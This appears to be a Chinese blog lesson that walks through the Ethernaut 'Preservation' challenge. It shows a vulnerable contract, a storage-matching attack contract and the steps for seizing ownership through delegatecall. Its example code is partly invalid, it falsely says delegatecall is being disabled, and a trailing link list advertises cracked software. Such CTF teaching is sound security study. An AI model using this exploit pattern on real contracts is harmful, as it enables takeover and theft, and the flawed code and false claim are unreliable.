区块链黑客第五讲:委托调用攻击

devtools/2024/10/18 22:30:43/

本篇文章是call注入攻击的兄弟篇,为啥这么说呢?

因为委托调用攻击核心函数便是 delegatecall()

难度:偏难,但理解了就非常简单

📕1. 开文挑战

  • 这是Ethernaut中的第十六个例子(已修改)
  • 现在把需求交给你:将合约Preservation的所有权拿到手。
  • 你首先会想到什么?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;contract Preservation {// public library contracts address public timeZone1Library;address public timeZone2Library;address public owner; uint storedTime;// Sets the function signature for delegatecallbytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender;}// set the time for timezone 1function setFirstTime(uint _timeStamp) public {timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));}// set the time for timezone 2function setSecondTime(uint _timeStamp) public {timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));}
}// Simple library contract to set the time
contract LibraryContract {// stores a timestamp uint storedTime;  function setTime(uint _time) public {storedTime = _time;}
}

在破解之前,我们首先要了解以下函数

📕2.了解delegatecall ()

delegatecall()call()是姊妹函数,它们都是调用函数的底层用法,因此在安全层面上是不严谨的。

🌳官方文档是这么描述这个函数的:

"除了目标地址上的代码在调用合约的上下文中执行以及 msg.sender 和 msg.value 不更改它们的值这一事实之外,与消息调用是相同的。

这意味着合约可以在运行时从不同的地址动态加载代码。存储、当前地址和余额仍然是指调用合约,只有代码是从被调用的地址。"

官方文档写的太抽象,我来举个例子方便大家理解:

contract Example{address public calledContract;constructor(address _calledContract){this.calledContract = _calledContract;}function useDelegatecall(address _change) public {calledContract.delegatecall(abi.encodePacked(bytes4(keccak256("changeAddress(address)")),_change))}
}contract CalledContract{address public initAddress;function changeAddress(address _changeAddress){this.initAddress = _changeAddress;}
}

🚀解析例子

  • contract Example:主合约

  • contract CalledContract:被调用合约

  • address public calledContract:被调用合约地址

可以看到在函数useDelegatecall中,我们使用了delegatecall()调用了被调用合约的changeAddress()函数,并且传入了参数_change

调用成功后我们查看结果:

被调用合约中的initAddress并未修改成传入的地址参数_change,反而主合约的calledContract变成了_change.

🎹离谱吗

而这正是delegatecall()的安全漏洞:

被调用合约的上下文仍然是主合约的上下文,包括msg.valuemsg.sender 以及 storage。因此当我们以为修改的是合约CalledContract第一插槽(不了解插槽的去看上一讲)实际上我们修改的是合约Example的第一插槽,即address calledContract

这就是delegatecall()函数真正的妙处,同样也是极大的安全漏洞!


📕研究合约

那么以上的使用方法,如何去破解开头给出的合约呢?

我想聪明的你早就有了一些想法。

💎回到合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;contract Preservation {// public library contracts address public timeZone1Library;address public timeZone2Library;address public owner; uint storedTime;// Sets the function signature for delegatecallbytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender;}// set the time for timezone 1function setFirstTime(uint _timeStamp) public {timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));}// set the time for timezone 2function setSecondTime(uint _timeStamp) public {timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));}
}// Simple library contract to set the time
contract LibraryContract {// stores a timestamp uint storedTime;  function setTime(uint _time) public {storedTime = _time;}
}
  • Preservation:主合约
  • timeZone1Library,timeZone2Library:两个外部调用合约地址,即本例中的LibraryContract
  • setTimeSignature:函数签名,可以通过call或delegatecall等底层方法调用函数。

💎偷天换日

当调用主合约函数setFirstTime时,将会调用外部合约LibraryContractsetTime方法,在该方法中修改了此合约的第一插槽,根据delegatecall()的特性,真正被修改的其实是主合约的第一插槽!,即timeZone1Library.

因此我们可以借助该漏洞替换掉主合约的timeZone1Library或者是timeZone2Library,再一次根据·delegatecall()的特性替换掉主合约的owner.

💎伪造攻击合约

那么被我们替换掉的攻击合约应该是什么样的呢?

为了完美利用delegatecall()的特性,它应该满足一下所有的需求:

  • 存储结构应该与主合约一致
  • 应该拥有与setTime()同名的函数
  • 应该在setiTime()函数中修改第三插槽的内存,也就是主合约中owner所在的存储位置。

因此,这个合约应该长这样:

// SPDX-License-Identifier: MITcontract AttackPreservation {//必须拥有相同的存储结构!address public timeZone1Library;address public timeZone2Library;address public owner; //同名函数function setTime(uint _change) public {owner = address(_change);}}

至此,用于替换的攻击合约就已经编写好了。

当调用该攻击合约的setTime()函数之时,我们将合约中owner(第三插槽)替换成了传入的变量。

实际上修改的是主合约的owner变量,因此将调用传入的参数改成自己的钱包地址即可!

💎攻击流程

  1. 伪造用于替换timeZone1Library的攻击合约;
  2. 首次调用setFirstTime()函数,将传入参数设为用于替换的攻击合约的地址;
  3. 第二次调用setFirstTime()函数,将传入参数设为自己的钱包地址;
  4. 完成攻击,将合约拥有者修改成了自己

📕总结

delegatecall()是一种危险性极高的函数调用方式,因此在平时的合约编写中,非必要不要用到该调用方式。

并且随着solidity语言版本的迭代更新,delegatecall()已经被逐步禁用。

不要觉得这些知识学了无用,在今后的学习中,会基于这样的分析模式深入地解决问题!

恭喜你!通过了这一章的学习。

至此你已经初步了解了基于函数特性的技术性安全漏洞。

在接下来的学习中,我会涉及到新型的合约攻击方式,请持续关注我!

🌳参考文献

blog.sigmaprime-delegatecall

SWC-112

How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them (Part 1)

官方文档-delegatecall


http://www.ppmy.cn/devtools/4673.html

相关文章

【机器学习】机器学习学习笔记 - 数据预处理 - 01

machine learning 监督学习: 是指在有标记的样本(labeled samples)上建立机器学习的模型无监督学习: 是指在没有标记的样本上建立机器学习的模型semi-supervised learning: 是指在部分标记样本上建立机器学习的模型强化学习: 是指在与环境交互的过程中&…

推荐算法之协同过滤

算法原理 透过百科,我们了解到协同过滤推荐(Collaborative Filtering recommendation)是在信息过滤和信息系统中正迅速成为一项很受欢迎的技术。与传统的基于内容过滤直接分析内容进行推荐不同,协同过滤算法结合用户行为分析用户…

SnapGene Mac激活版 分子生物学软件

SnapGene Mac是一款功能全面、操作便捷的综合性分子生物学软件,专为Mac用户打造。它集成了DNA序列编辑、分析、可视化和团队协作等多种功能,为科研人员提供了一个高效、可靠的分子生物学研究工具。 SnapGene Mac激活版下载 在SnapGene Mac中,…

Ubuntu 部署ChatGLM3大语言模型

Ubuntu 部署ChatGLM3大语言模型 ChatGLM3 是智谱AI和清华大学 KEG 实验室联合发布的对话预训练模型。 源码:https://github.com/THUDM/ChatGLM3 部署步骤 1.服务器配置 Ubuntu 20.04 8核(vCPU) 32GiB 5Mbps GPU NVIDIA T4 16GB 硬盘 100GiB CUDA 版本 12.2.2/…

椭圆曲线密码学(ECC)基本介绍和总结

背景 ECC英文全称"Elliptic Curve Cryptography",其背后的密码学原理或者说安全性,是基于椭圆曲线离散对数问题(Elliptic Curve Discrete Logarithm Problem,ECDLP)。ECC密码学被普遍认为是RSA密码系统的接…

关于java数据样品以及转换

关于集合 List<String> List<String> list duoMapper.selectName(); [ "alice1", "alice2", "alice3", "alice4", "alice5", "alice6", "alice7", "alice8",…

如何将三方库集成到hap包中——通过IDE集成cmak构建方式的C/C++三方库

简介 cmake构建方式是开源三方库的主流构建方式。DevEco Studio目前以支持cmake的构建方式。本文将通过在IDE上适配cJSON三方库为例讲来解如何在IDE上集成cmake构建方式得三方库。 创建工程 在开发进行三方库适配以及napi接口开发前&#xff0c;我们需要创建一个三方库对应的…

MySQL 开源到商业(一):Sun 公司收购了 MySQL AB

2008 年 1 月 27 日&#xff0c;开源数据库 MySQL 之父 Monty 在博客上高调宣布 Sun 公司收购了 MySQL AB。在这篇博客里面 Monty 分享了对于开源项目出路的思考&#xff0c;以及作为一个开源骇客对大公司收购的看法。目前国内开源项目正在爆发&#xff0c;而对开源的思考也在逐…